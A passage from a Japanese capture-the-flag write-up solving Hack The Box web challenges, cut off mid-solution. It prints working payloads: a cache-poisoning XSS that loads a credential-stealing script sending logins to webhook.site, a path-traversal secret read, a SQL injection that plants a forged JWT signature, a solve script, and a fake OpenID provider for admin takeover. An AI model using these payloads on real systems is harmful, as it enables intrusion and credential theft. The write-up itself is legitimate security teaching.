さらに先ほどのキャッシュの件を思い出します。レスポンスヘッダに CacheKey: enable を追加することで、強引にこのXSSの発生しているページをキャッシュさせることができるのではないでしょうか。/oracle/<script>alert(location)<%2fscript>/%0d%0aContent-Type:text%2fhtml%0d%0aCacheKey:enable にアクセスした後に /controller/login へアクセスすると、キャッシュを汚染してログインフォームで <script>alert(location)</script> を含む内容を返させることができました。

moderatorとしてログインするbotは定期的に /controller/login へアクセスしてきて、認証情報を入力していきます。これを利用して認証情報をぶっこ抜きましょう。

以下のようなシェルスクリプトを実行して、/controller/login へアクセスすると //example.com/exploit.js に存在するJSコードが実行されるようにします。

while true; do curl http://(省略)/oracle/%3Cscript%20src=%2f%2fexample.com%2fexploit.js%3E%3C%2fscript%3E/1%0d%0aContent-Type:text%2fhtml%0d%0aCacheKey:enable; sleep 5; done

exploit.js は次のような内容にします。偽物のログインフォームを表示し、送信ボタンが押されれば webhook.site で作成したページに認証情報が飛んでいくようなスクリプトです。

function f(x) {
    (new Image).src='https://webhook.site/…?' + x
}

const username = document.createElement('input');
username.id = 'username';
const password = document.createElement('input');
password.id = 'password';

const button = document.createElement('button');
button.id = 'login-btn';
button.addEventListener('click', () => {
    f(JSON.stringify({ username: username.value, password: password.value }));
});
button.innerText = 'hi';

document.body.appendChild(username);
document.body.appendChild(password);
document.body.appendChild(button);

しばらく待つと、botが認証情報を背負ってやってきました。

Path TraversalでJWTの署名に使われる鍵を奪う

botから認証情報を奪い取り、moderatorとして controller にログインできました。moderatorはデバイスの情報を閲覧したり、ファームウェアの情報を取得したりできるようです。

さて、この問題の目的をおさらいします。/readflag を実行すればフラグが得られるのでしたが、/readflag で検索してみると controller/application/blueprints/routes.py に以下のような処理が見つかります。/controller/admin にアクセスするとフラグが得られるようですが、administrator_middleware というデコレータが挟まっています。

# …
@web.route("/admin", methods=["GET"])
@administrator_middleware
def admin():
    flag = os.popen("/readflag").read()
    return render_template("admin.html", user_data=request.user_data, nav_enabled=True, title="OmniWatch - Admin", flag=flag)

administrator_middleware の実装は次のとおりです。Cookieに含まれているJWTを検証したうえで、account_type クレームの内容が administrator であるか確認しています。また、ログイン時には、JWTの生成とあわせてそのシグネチャ部分のみをデータベースに残しているわけですが、ここでその情報を使ってユーザから与えられたJWTのシグネチャが実在するかも確認しています*16

# …
def administrator_middleware(func):
    def check_moderator(*args, **kwargs):
        jwt_cookie = request.cookies.get("jwt")
        if not jwt_cookie:
            return redirect("/controller/login")

        token = verify_jwt(jwt_cookie, current_app.config["JWT_KEY"])
        if not token:
            return redirect("/controller/login")
        
        mysql_interface = MysqlInterface(current_app.config)

        user_id = token.get("user_id")
        account_type = token.get("account_type")
        signature = jwt_cookie.split(".")[-1]
        saved_signature = mysql_interface.fetch_signature(user_id)

        if not user_id or not account_type or not signature or not saved_signature or signature == "":
            return redirect("/controller/login")

        if saved_signature != signature:
            mysql_interface.delete_signature(user_id)
            return redirect("/controller/login")

        if account_type != "administrator":
            return redirect("/controller/home")
        
        request.user_data = token
        return func(*args, **kwargs)

    check_moderator.__name__ = func.__name__
    return check_moderator
# …

JWTの署名に使われる鍵は JWT_KEY という設定にあるわけですが、これは controller/application/config.py を参照すると /app/jwt_secret.txt にあることがわかります。これを読み取ることはできないでしょうか。

import os
from dotenv import load_dotenv

load_dotenv()

class Config(object):
    JWT_KEY = open("/app/jwt_secret.txt", "r").read()
# …

moderatorができることのひとつである、ファームウェアの情報の取得が可能な /firmware というAPIを見てみます。patch というパラメータに取得する情報のパスが入っているようですが、ここで application/firmware より上のディレクトリのファイルを読もうとしていないかのチェックがないため、Path Traversalができそうです。

# …
@web.route("/firmware", methods=["GET", "POST"])
@moderator_middleware
def firmware():
    if request.method == "GET":
        patches_avaliable = ["CyberSpecter_v1.5_config.json", "StealthPatch_v2.0_config.json"]
        return render_template("firmware.html", user_data=request.user_data, nav_enabled=True, title="OmniWatch - Firmware", patches=patches_avaliable)
    
    if request.method == "POST":
        patch = request.form.get("patch")

        if not patch:
            return response("Missing parameters"), 400

        file_data = open(os.path.join(os.getcwd(), "application", "firmware", patch)).read()
        return file_data, 200
# …

以下のようなJSコードをDevToolsで実行することで、JWTの署名に使われる鍵を手に入れることができました。発行済みのJWTも、この鍵で正しく検証することができました。

fetch('/controller/firmware', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
    },
    body: 'patch=../../../jwt_secret.txt'
}).then(r => r.text()).then(r => {
    console.log(r);
});

偽造したJWTの署名をSQLiでデータベースに仕込む

JWTを偽造できるようになりましたが、前述のようにJWTの署名部分がデータベースに保存されていなければ、このJWTは弾かれてしまいます。署名の取得処理をごまかしたり、あるいは偽造したJWTの署名をデータベースに追加することはできないでしょうか。

controller/application/util/database.py を眺めていると、まずデータベースからの署名の取得処理でSQLiができそうだとわかります。administrator_middleware では引数である user_id はJWTの user_id クレームから取ってきているわけですから、SQLiは可能です。

しかしながら、これは「署名があるか」をチェックするだけではなく、「署名があればその署名を返す」という関数であって、呼び出し元の administrator_middleware でさらにJWTに含まれる署名とこの関数の返り値である署名が一致しているか確認されています。つまり、QuineのようにそのJWT自身の署名を返すような user_id を用意する必要があります。できなくはないでしょう*17が、MySQL上で署名処理を実装する必要があり面倒です。

# …
    def fetch_signature(self, user_id):
        signature = self.query("SELECT signature FROM signatures WHERE user_id = %s", (user_id,), one=True)
        return signature["signature"] if signature else False
# …

ほかのSQLiできそうな処理を探していると、fetch_device が見つかりました。デバイスIDを使ってSQLiができるわけですが、ここで query への引数として multi=True が与えられています。

# …
    def fetch_device(self, device_id):
        query = f"SELECT * FROM devices WHERE device_id = '{device_id}'"
        device = self.query(query, multi=True)[0][0]
        return device
# …

multi=True であれば ; 区切りでそれぞれのSQLを実行するような処理になっており、つまり複文に対応しているわけです。ここで SELECT …; INSERT INTO … というようなSQLになるようペイロードを用意し、偽造したJWTの署名を signatures テーブルに追加することができそうです。

# …
    def query(self, query, args=(), one=False, multi=False):
        cursor = self.connection.cursor()
        results = None

        if not multi:
            cursor.execute(query, args)
            rv = [dict((cursor.description[idx][0], value)
                for idx, value in enumerate(row)) for row in cursor.fetchall()]
            results = (rv[0] if rv else None) if one else rv
        else:
            results = []
            queries = query.split(";")
            for statement in queries:
                cursor.execute(statement, args)
                rv = [dict((cursor.description[idx][0], value)
                    for idx, value in enumerate(row)) for row in cursor.fetchall()]
                results.append((rv[0] if rv else None) if one else rv)
                self.connection.commit()
    
        return results
# …

ここまでのまとめとして、次のような手順で administrator になるスクリプトを書きましょう。

  1. account_type クレームの内容が administrator であるJWTを偽造する
  2. moderatorとしてログインし、デバイスIDからのSQLiを利用して、1.で作成したJWTの署名をデータベースに追加する
  3. 1.で偽造したJWTを使って、/controller/admin にアクセスする
import random
import urllib.parse
import jwt
import httpx

USERNAME = '61d79eff4ce702126dea69f046d754bc'
PASSWORD = '30f21d8fae944d4353b36d59500d9eaa'
JWT_KEY = "}7?7MeYm,'A"
HOST = 'http://…/'

with httpx.Client(base_url=HOST) as client:
    user_id = random.randint(0, 0x1000000)
    token = jwt.encode(
        {
            'user_id': user_id,
            'username': USERNAME,
            'account_type': 'administrator'
        },
        JWT_KEY,
        algorithm='HS256'
    )
    signature = token.split('.')[-1]

    client.post('/controller/login', data={
        'username': USERNAME,
        'password': PASSWORD
    })

    sqli = urllib.parse.quote(
        f"1'; INSERT INTO omniwatch.signatures(user_id, signature) VALUES ({user_id}, '{signature}'); #"
    )
    client.get(f'/controller/device/{sqli}')
    
    r = client.get('/controller/admin', cookies={
        'jwt': token
    })
    print(r.text)

スクリプトを実行すると、フラグが得られました。

$ python3 solve.py
…
<div id="loadingSection" class="loading-container">
        <img class="loading-img" src="/controller/static/img/icon.png">
</div>
<div class="container">
        <div class="row mt-5 pt-3">
                <div class="cyber-tile-big fg-white bg-dark-purple">
                        <h3 class="cyber-h ac-cyan blenderpro-font">HTB{h3110_41w4y5_i_s3e_y0u4nd_1m_w4tch1ng_e2cc650b07e8d1d8602f4e67bdf1c6d8}</h3>
                </div>
        </div>
</div>
<script src="/controller/static/js/main.js"></script>


    </body>
</html>
HTB{h3110_41w4y5_i_s3e_y0u4nd_1m_w4tch1ng_e2cc650b07e8d1d8602f4e67bdf1c6d8}

この問題も我々がfirst bloodを取りました。複雑な過程ではありましたが、account_type クレームが administrator であるJWTを偽造して /controller/admin にアクセスするというゴールを意識しつつ、現在の権限でできることからどう次の段階に進めるかを考えることで段階的に解くことのできる問題でした。

[Web 400] SOS or SSO? (23 solves)

In the dim light of their makeshift base, Ava, the crew's expert hacker, worked feverishly on her terminal. Their target was Vault 54's Overseer's centralized note-taking application, rumored to hold crucial information about the location of a crashed soviet era satellite. This satellite's super-computer technology was essential for running diagnostics on water, soil, and air samples needed for their underground tunnel excavations.

添付ファイル: web_sso_or_sos.zip

問題の概要

ソースコードが与えられています。どのようなサービスか確認するため、Dockerイメージを作成し、コンテナを立ち上げます。立ち上がったWebアプリにアクセスすると、次のようなトップページが表示されました。SSOによるログインも可能なメモ帳アプリのようです。

メモ帳は非ログイン状態でも利用できるようです。

試しにメモを作成してみます。なかなか高機能で、普通のテキスト、太字、そして画像やリンクの挿入までできるようです。

SSOによるログイン画面は次のとおりです。West Oceania(WO), Northern Scandinavia(NS), Central Africa(CA)という3つのIdPに対応しているようです。クリックしてみると、それぞれ https://wo.htb/idp, https://ns.htb/idp, https://ca.htb/idp にリダイレクトされましたが、もちろん実在しません。

ソースコードを確認していきます。まず何がこの問題のゴールかを調べましょう。FLAG で検索してみると、Dockerイメージのエントリーポイントとなる entrypoint.sh がヒットしました。環境変数として定義しているようです。ついでに、WO, NS, CAの3つのIdPに関する情報(Client IDやClient Secret)等もランダムに生成しているようです。

cd /app/backend

export JWT_SECRET=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)
export WO_CLIENT_ID=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)
export WO_CLIENT_SECRET=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)
export NS_CLIENT_ID=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)
export NS_CLIENT_SECRET=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)
export CA_CLIENT_ID=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)
export CA_CLIENT_SECRET=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)
export WO_ADMIN_EMAIL="$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)@wo.htb"
export FLAG="HTB{f4k3_fl4g_f0r_t35t1ng}"

./permnotes

環境変数FLAGbackend/database/conn.go というデータベースの初期化に使われるコードで参照されています。先ほどの entrypoint.sh でランダムに生成した WO_ADMIN_EMAIL というメールアドレスで、まず admin というロールを持ったユーザを作成しています。そして、このユーザのみが閲覧できるメモの内容としてフラグを含んでいるようです。この admin であるユーザを乗っ取り、メモを読み取ることが目的のようです。

// …
    admin := &Role{
        Name:  "admin",
        Level: ADMIN_LEVEL,
    }
// …
    adminUser := CreateNewUser(os.Getenv("WO_ADMIN_EMAIL"), *admin, wo.ID)
// …
    adminId := uint64(adminUser.ID)
    noteContent := base64.RawURLEncoding.EncodeToString([]byte(fmt.Sprintf(`[{"type":"p","attr":{},"content":"%s\n"}]`, os.Getenv("FLAG"))))
    CreateNote("My Secret", noteContent, true, &adminId)
// …

このファイルから、このWebアプリの世界観を読み解いていきましょう。admin というロールのほかにも、どうやら usersupport というロールも存在するようです。

// …
    user := &Role{
        Name:  "user",
        Level: USER_LEVEL,
    }
    support := &Role{
        Name:  "support",
        Level: SUPPORT_LEVEL,
    }
// …

user というロールを持ったユーザは複数いるほか、support というロールを持ったユーザもいます。support であるユーザはひとりのみで、admin と異なり support@wo.htb という固定のメールアドレスを使っています。

// …
    CreateNewUser("support@wo.htb", *support, wo.ID)
// …
    CreateNewUser("toby@wo.htb", *user, wo.ID)
    CreateNewUser("jack@ns.htb", *user, ns.ID)
    CreateNewUser("jessica@ns.htb", *user, ns.ID)
    CreateNewUser("tom@ca.htb", *user, ca.ID)
// …

ログイン時には3つのIdPが利用できますが、それぞれ詳細は以下のとおりです。このWebアプリでは派閥(faction)という用語が使われているようなので、以降WO, NS, CAについて言及する際は派閥と呼びます。それぞれの派閥について、SSOの実現のために、OpenID Connect(OIDC)関連のパラメータとしてClient ID, Client Secret, エンドポイントの3つが保存されています。

// …
    wo := CreateNewFaction("WO", "West Oceania")
    ns := CreateNewFaction("NS", "Northern Scandinavia")
    ca := CreateNewFaction("CA", "Central Africa")
    CreateNewOIDCConfig(
        os.Getenv("WO_CLIENT_ID"),
        os.Getenv("WO_CLIENT_SECRET"),
        "https://wo.htb/idp",
        wo.ID,
    )
    CreateNewOIDCConfig(
        os.Getenv("NS_CLIENT_ID"),
        os.Getenv("NS_CLIENT_SECRET"),
        "https://ns.htb/idp",
        ns.ID,
    )
    CreateNewOIDCConfig(
        os.Getenv("CA_CLIENT_ID"),
        os.Getenv("CA_CLIENT_SECRET"),
        "https://ca.htb/idp",
        ca.ID,
    )
// …

ソースコードを確認する

Dockerコンテナを立ち上げると、以下のようにルーティングの情報が表示されます。なかなか長いですが、それぞれどのような実装になっているかソースコードを確認していきます。

[GIN-debug] GET    /auth/sso/factions        --> example.com/permnotes/endpoints.GetAvailableFactions (5 handlers)
[GIN-debug] POST   /auth/sso                 --> example.com/permnotes/endpoints.FactionSSO (5 handlers)
[GIN-debug] GET    /auth/sso/callback        --> example.com/permnotes/endpoints.FactionSSOCallback (5 handlers)
[GIN-debug] GET    /auth/logout              --> example.com/permnotes/endpoints.Logout (5 handlers)
[GIN-debug] GET    /api/user                 --> example.com/permnotes/endpoints.GetCurrentUser (6 handlers)
[GIN-debug] GET    /api/notes                --> example.com/permnotes/endpoints.GetNotes (6 handlers)
[GIN-debug] POST   /api/note                 --> example.com/permnotes/endpoints.CreateNote (6 handlers)
[GIN-debug] GET    /api/note/:noteId         --> example.com/permnotes/endpoints.GetNote (6 handlers)
[GIN-debug] PATCH  /api/note/:noteId         --> example.com/permnotes/endpoints.UpdateNote (6 handlers)
[GIN-debug] POST   /api/note/:noteId/report  --> example.com/permnotes/endpoints.ReportNote (6 handlers)
[GIN-debug] DELETE /api/note/:noteId         --> example.com/permnotes/endpoints.RemoveNote (6 handlers)
[GIN-debug] POST   /api/support/faction      --> example.com/permnotes/endpoints.CreateFaction (7 handlers)
[GIN-debug] GET    /api/support/faction/:factionId --> example.com/permnotes/endpoints.GetFactionData (7 handlers)
[GIN-debug] POST   /api/support/faction/:factionId/config --> example.com/permnotes/endpoints.CreateOIDCConfig (7 handlers)
[GIN-debug] GET    /api/admin/users          --> example.com/permnotes/endpoints.GetUsers (7 handlers)
[GIN-debug] POST   /api/admin/users/:userId/ban --> example.com/permnotes/endpoints.BanUser (7 handlers)

エントリーポイントである main.go は次のような構造になっています。主に、以下の4つのエンドポイントに大別されます。このうち、後ろの3つについては必ず UserMiddleware というミドルウェアを用いて、どのようなユーザとしてログインしているか確認しています。特に後ろの2つについては、SupportMiddleware, AdminMiddleware というミドルウェアを用いて、適したロールを持つユーザでログインしているか確認しています。それらの実装については後述します。

  • /auth: SSO関連のエンドポイント
  • /api/notes, /api/note: メモ関連のエンドポイント
  • /api/support: 派閥の管理関連のエンドポイント。support 以上のロールのユーザのみ使える
  • /api/admin: ユーザの管理関連のエンドポイント。admin 以上のロールのユーザのみ使える
// …
func main() {
    rand.Seed(time.Now().UnixNano())
    database.InitDB()
    database.PrepareDatabase()
    r := gin.Default()
    // Serve the frontend
    r.Use(static.Serve("/", static.LocalFile("../frontend/dist/", true)))
    r.NoRoute(func(c *gin.Context) {
        c.File("../frontend/dist/index.html")
    })

    r.Use(endpoints.CsrfMiddleware)
    // Authentication
    authentication := r.Group("/auth")
    authentication.GET("/sso/factions", endpoints.GetAvailableFactions)
    authentication.POST("/sso", endpoints.FactionSSO)
    authentication.GET("/sso/callback", endpoints.FactionSSOCallback)
    authentication.GET("/logout", endpoints.Logout)

    // Main api
    api := r.Group("/api")
    api.Use(endpoints.UserMiddleware)
    {
        api.GET("/user", endpoints.GetCurrentUser)
        // Notes
        // …
    }
    // Support routes
    support := api.Group("/support")
    support.Use(endpoints.SupportMiddleware)
    {
        support.POST("/faction", endpoints.CreateFaction)
        // …
    }
    // Admin routes
    admin := api.Group("/admin")
    admin.Use(endpoints.AdminMiddleware)
    {
        admin.GET("/users", endpoints.GetUsers)
        admin.POST("/users/:userId/ban", endpoints.BanUser)
    }

    r.Run(":8080")
}

各エンドポイントの実装について見ていく前に、UserMiddleware, SupportMiddleware, AdminMiddleware の実装を見ていきます。

まず UserMiddleware ですが、notesToken というCookieからJWTを持ってきて検証しています。Cookieがセットされていないならされていないで、この gin.Context においてユーザ情報を意味する usernil を入れ、匿名ユーザとして扱います。JWTが検証できればそのままJWTから取得できたデータを user にセットしていますが、もし検証に失敗すれば、401を返すようです。

// …
func getTokenFromRequest(c *gin.Context) string {
    token, err := c.Cookie("notesToken")
    if err != nil {
        return ""
    }
    return token
}
// …
func UserMiddleware(c *gin.Context) {
    rawToken := getTokenFromRequest(c)
    if rawToken == "" {
        c.Set("user", nil)
        return
    }
    claims, err := auth.GetJWTClaims(rawToken)
    if err != nil {
        c.JSON(401, gin.H{
            "message": err.Error(),
        })
        c.Abort()
        return
    }
    c.Set("user", claims)
}
// …

SupportMiddleware は次のとおりです。UserMiddleware によってJWTが検証された後に、ここでは level クレームからそのユーザのロールをチェックしています。そして、support より低いロールであれば弾いています。AdminMiddleware はこの SUPPORT_LEVELADMIN_LEVEL に変わったのみで同じ構造であるため、省略します。

// …
func SupportMiddleware(c *gin.Context) {
    claims, ok := c.Get("user")
    if claims == nil || !ok {
        c.JSON(401, gin.H{
            "message": "Unauthorized",
        })
        c.Abort()
        return
    }
    if claims.(*auth.JWTClaims).Level < database.SUPPORT_LEVEL {
        c.JSON(403, gin.H{
            "message": "Only support users and above can take such action",
        })
        c.Abort()
    }
}
// …

JWTの検証に使われている鍵は、entrypoint.shJWT_SECRET という環境変数として定義されていました。先ほど確認したように、cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1 というOSコマンドによって推測不可能なものとなっています。

JWT周りの検証をしている backend/auth/jwt.go を見てみると、以下のような実装になっていました。algHS256, HS384, HS512 のいずれかでなければならず、none 等に差し替えても無駄です。

なお、ここでJWTの検証等には github.com/golang-jwt/jwt/v5 というパッケージが使われています。go.mod によると v5.2.0 ということで、2024年5月24日現在での最新版は v5.2.1 ではあるものの、既知の脆弱性はありません。

// …
var privateKey = []byte(os.Getenv("JWT_SECRET"))
// …
func ValidateJWT(tokenString string) (*jwt.Token, error) {
    return jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
        if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
            return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
        }

        return privateKey, nil
    })
}
// …

さて、各エンドポイントを見ていきます。ロールの都合上、今見たところでアクセスできない /api/support/api/admin は置いておいて、また面倒くさい /auth も置いておいて、まずは理解しやすそうな /api/notes/api/note から見ていきましょう。

メモの保存、取得、削除といった処理はほとんどが「よくある」実装であるため詳細は割愛しますが、このメモ帳アプリに限った特殊な機能として、メモを閲覧できる範囲の指定と、メモの通報があります。

メモの閲覧範囲の制限は次の関数で実現されています。Private フラグが立っていればそのメモを書いたユーザ自身しか読めなくなります(フラグの含まれるメモがそのひとつです)し、ログイン済みのユーザが作成したメモであれば、同じ派閥のユーザしか読めないようになっています。

// …
func noteAccessControl(c *gin.Context, note *database.Note) bool {
    userClaims := GetUserClaims(c)
    if note.AuthorID == nil {
        return true
    }
    if userClaims == nil {
        return note.Author == nil // Only public notes
    }
    if note.Private {
        return *note.AuthorID == userClaims.UserID
    }
    if userClaims.Level >= note.Author.Role.Level {
        return true
    }

    return note.Author.FactionID == userClaims.FactionID
}
// …

メモの通報機能は次のとおりです。指定されたメモのIDをそのまま util.VisitAndExamineNote に投げています。

// …
func ReportNote(c *gin.Context) {
    note := getNoteFromUrl(c)
    if note == nil {
        return
    }
    go util.VisitAndExamineNote(int(note.ID))
    c.JSON(200, gin.H{
        "message": "Thanks, our team is taking a look at this note",
    })
}
// …

util.VisitAndExamineNote は次のとおりです。通報されたメモに fusionmissile のようなNGワードが含まれていればメモを削除するというコードのようです。

ここで chromedp というパッケージが使われていることに着目します。直接データベースからメモのデータを引っ張ってくればよいところ、わざわざGoogle Chromeを立ち上げ、support のロールを持つユーザとしてログインした上で、通報されたメモを閲覧しています。もしメモの閲覧ページにXSSがあれば、このユーザを乗っ取ることができるのではないでしょうか。

package util

import (
    "context"
    "fmt"
    "log"
    "strings"
    "time"

    "example.com/permnotes/auth"
    "example.com/permnotes/database"
    "github.com/chromedp/cdproto/cdp"
    "github.com/chromedp/cdproto/network"
    "github.com/chromedp/chromedp"
)

func VisitAndExamineNote(noteId int) {
    token, err := auth.GenerateToken(database.FindUserWithEmail("support@wo.htb"), 1800)
    if err != nil {
        log.Println("Could not get token for support user:", err.Error())
        return
    }
    bannedWords := []string{"nuclear", "fusion", "fission", "bomb", "missile", "fallout"}
    ctx, cancel := chromedp.NewContext(
        context.Background(),
    )
    defer cancel()

    ctx, cancel = context.WithTimeout(ctx, 15*time.Second)
    defer cancel()

    var content string
    scanContent := chromedp.ActionFunc(func(ctx context.Context) error {
        for _, word := range bannedWords {
            if strings.Contains(content, word) {
                var nodes []*cdp.Node
                err := chromedp.Nodes("/html/body/div/div[2]/div/div[3]/div[2]", &nodes, chromedp.AtLeast(0)).Do(ctx)
                if err != nil || len(nodes) == 0 {
                    break
                }
                return chromedp.MouseClickNode(nodes[0]).Do(ctx)
            }
        }
        return nil
    })
    err = chromedp.Run(ctx,
        chromedp.ActionFunc(func(ctx context.Context) error {
            expr := cdp.TimeSinceEpoch(time.Now().Add(1800 * time.Second))
            err := network.SetCookie("notesToken", token).
                WithExpires(&expr).
                WithDomain("localhost").
                WithPath("/").
                WithHTTPOnly(true).
                WithSecure(false).
                Do(ctx)
            if err != nil {
                log.Println(err.Error())
                return err
            }
            return nil
        }),
        chromedp.Navigate(fmt.Sprintf("http://localhost:8080/app/note/%d", noteId)),
        chromedp.Text("body", &content),
        scanContent,
    )
    if err != nil {
        log.Fatal(err)
    }
}

XSSsupport ユーザを乗っ取る

メモの閲覧ページでXSSを探します。まず適当に hoge というタイトルでメモを作成したところ、/api/note へ次のようなJSONPOST されていることに気づきました。メモの編集時には、/api/note/(メモID) に対して content のみが PATCH メソッドで送信されます。

{
    "title": "hoge",
    "content": "W3sidHlwZSI6InAiLCJhdHRyIjp7fSwiY29udGVudCI6IldyaXRlIHlvdXIgbW9zdCBldmlsIHRob3VnaHRzISJ9XQ==",
    "private": false
}

太字の hoge を追加した際の content に含まれている文字列をBase64デコードしてみます。これはHTMLの要素をJSONで表現したものではないでしょうか。type が要素名、attr が属性名とその値の組み合わせでしょう。では、それらをJSコードが実装できそうなものに変えるとどうなるでしょうか。

[
  {
    "type": "p",
    "attr": {},
    "content": "Write your most evil thoughts!"
  },
  {
    "type": "p",
    "attr": {
      "style": "font-weight:700"
    },
    "content": "hoge"
  }
]

次のようなPythonスクリプトを用意します。

import base64
import json
import httpx

BASE_URL = 'http://localhost:1337'
with httpx.Client(base_url=BASE_URL) as client:
    r = client.post('/api/note', json={
        'title': 'abc',
        'private': False,
        'content': base64.b64encode(json.dumps([{
            'type': 'iframe',
            'attr': {'srcdoc': '''<script>alert(123)</script>'''},
            'content': 'poyo'
        }]).encode()).decode()
    }, headers={
        'X-Notes-Csrf-Protection': '1'
    })

    note_id = r.json()['id']
    print(f"{BASE_URL}/app/note/{note_id}")

実行して出力されたURLにアクセスすると、以下のようにアラートが表示され、alert(123) というJSコードが実行されたことを確認できました。

実行するJSコードを (new Image).src = '…' に変え、/api/note/(メモのID)/report を叩くことで、先ほどのbotに踏ませます。すると、このbotから指定したURLにアクセスがありました。botの方でもXSSが発火したようです。これで support であるユーザを乗っ取ることができました。

雑なOpenIDプロバイダを作る

support であればできることを確認していきます。main.go をおさらいすると、support であれば次の3つの派閥関連のエンドポイントを利用することができます。それぞれ、新たな派閥の作成、すでに存在する派閥の情報の取得、そしてその変更が可能です。

// …
    // Support routes
    support := api.Group("/support")
    support.Use(endpoints.SupportMiddleware)
    {
        support.POST("/faction", endpoints.CreateFaction)
        support.GET("/faction/:factionId", endpoints.GetFactionData)
        support.POST("/faction/:factionId/config", endpoints.CreateOIDCConfig)
    }
// …

このうち、/faction/:factionId/config を見ていきます。というのも、我々の目的はWOという派閥に存在する admin であるユーザを乗っ取ることであり、派閥の何らかの設定を変更することでこの乗っ取りに繋げられる可能性があるためです。実装は次のとおりです。IdPのエンドポイントごと書き換えられそうに見えますが、大丈夫でしょうか。

// …
func CreateOIDCConfig(c *gin.Context) {
    faction := getFactionFromUrl(c)
    if faction == nil {
        return
    }
    var newConfig models.NewOIDCConfigModel
    err := c.BindJSON(&newConfig)
    if err != nil {
        c.JSON(400, gin.H{
            "message": "Invalid config content!",
        })
        return
    }
    _, err = auth.ValidateProviderEndpoint(newConfig.Endpoint)
    if err != nil {
        c.JSON(400, gin.H{
            "message": err.Error(),
        })
        return
    }
    config := database.FindOIDCConfigWithFaction(faction.ID)
    if config != nil {
        config.ClientID = newConfig.ClientID
        config.ClientSecret = newConfig.ClientSecret
        config.Endpoint = newConfig.Endpoint
        database.UpdateOIDCConfig(config)
    } else {
        config = database.CreateNewOIDCConfig(
            newConfig.ClientID,
            newConfig.ClientSecret,
            newConfig.Endpoint,
            faction.ID,
        )
    }
    c.JSON(200, gin.H{
        "id": config.ID,
    })
}
// …

IdPのエンドポイントの書き換えを試してみましょう。先ほど作成したXSS用のスクリプトをいじり、support のユーザに以下のJSコードを実行させます。うまくいけば、これでWOのエンドポイントを書き換えられるはずです。

const payload = {
    clientId: 'CjU7krHIHpygjevGP1R2Ym5wDkwbmcMD',
    clientSecret: '0dTucErK7AbCqR29K3AYoSY7dPWSchXa',
    endpoint: 'http://example.com:8000'
};
fetch('/api/support/faction/1/config', {
    method: 'POST',
    body: JSON.stringify(payload),
    headers: {
        'X-NOTES-CSRF-PROTECTION': '1'
    }
})

すると、指定したエンドポイントの /.well-known/openid-configuration にアクセスがありました。正しいOpenIDプロバイダであるかチェックしているようです。これが正しければそのまま設定が書き換えられるわけですから、ロールが admin であるユーザの作成を目的として、偽のOpenIDプロバイダを作っていきます。

完成品は次のとおりです。この偽のOpenIDプロバイダの作成の過程は割愛しますが、ありがたいことにこのWebアプリは逐一エラーメッセージを出力してくれるため、たとえばUserInfoエンドポイントが存在しない、JWKSで対応する kid が存在しない等々のお叱りを参考にしつつ、足りない部分を少しずつ実装していくことで作ることができます。

import base64
import time
import uuid
import jwt
from Crypto.PublicKey import RSA
from flask import Flask, redirect, request

app = Flask(__name__)

BASE = 'http://…'
CLIENT_ID = 'CjU7krHIHpygjevGP1R2Ym5wDkwbmcMD'
EMAIL = str(uuid.uuid4()) + '@wo.htb'

PRIVATE_KEY = open('private.pem').read() # openssl genrsa -out private.pem 1024
PUBLIC_KEY = open('public.pem').read() # openssl rsa -in private.pem -outform PEM -pubout -out public.pem
pubkey = RSA.importKey(PUBLIC_KEY)

config = {
    'issuer': BASE,
    'authorization_endpoint': f'{BASE}/authorization',
    'token_endpoint': f'{BASE}/token',
    'userinfo_endpoint': f'{BASE}/userinfo',
    'jwks_uri': f'{BASE}/jwks',
}

@app.route('/.well-known/openid-configuration')
def oidc_config():
    return config

@app.route('/authorization')
def auth():
    callback = request.args.get('redirect_uri')
    state = request.args.get('state')
    return redirect(f'{callback}?state={state}&code=poyoyon')

id_token = jwt.encode({
    'iss': BASE,
    'aud': CLIENT_ID,
    'exp': int(time.time()) + 86400,
    'email': EMAIL,
    'role': 'admin'
}, PRIVATE_KEY, algorithm='RS256', headers={
    'kid': 'poyoyon'
})
token = {
    'access_token': 'poyoyon',
    'id_token': id_token,
    'scope': 'openid profile email',
    'expires_in': '86400',
    'token_type': 'Bearer'
}

@app.post('/token')
def post_token():
    return token

jwks = {
    'keys': [{
        'kid': 'poyoyon',
        'kty': 'RSA',
        'alg': 'RS256',
        'use': 'sig',
        'n': base64.urlsafe_b64encode(pubkey.n.to_bytes(128, byteorder='big')).decode().replace('=', ''),
        'e': base64.urlsafe_b64encode(pubkey.e.to_bytes(3, byteorder='big')).decode(),
    }]
}
@app.get('/jwks')
def get_jwks():
    return jwks

@app.get('/userinfo')
def get_userinfo():
    return { 'email': EMAIL, 'role': 'admin' }

app.run(host='0.0.0.0', port=8000)

この偽OpenIDプロバイダを起動した状態で、/api/support/faction/1/config を叩いてWOのIdPのエンドポイントを変更するXSSbotに踏ませます。そして、/login からWOを選んでログインします。これで、admin になることができました。

最初の admin を乗っ取る

さて、後はフラグを含むメモを作成したユーザを乗っ取るだけです。main.go によれば、admin というロールであれば /api/admin/users からユーザの一覧が取得できるのでした。

// …
    // Admin routes
    admin := api.Group("/admin")
    admin.Use(endpoints.AdminMiddleware)
    {
        admin.GET("/users", endpoints.GetUsers)
        admin.POST("/users/:userId/ban", endpoints.BanUser)
    }
// …

アクセスしてみると、確かにユーザの一覧が取得できています。roleadmin であるユーザのうち、最も若い OBMXH0H7xvgFD33sQNrjrrrs8RgAec3o@wo.htb がフラグを持っているユーザでしょう。

[
  {
    "id": 1,
    "email": "support@wo.htb",
    "role": "support",
    "faction": "WO"
  },
  {
    "id": 2,
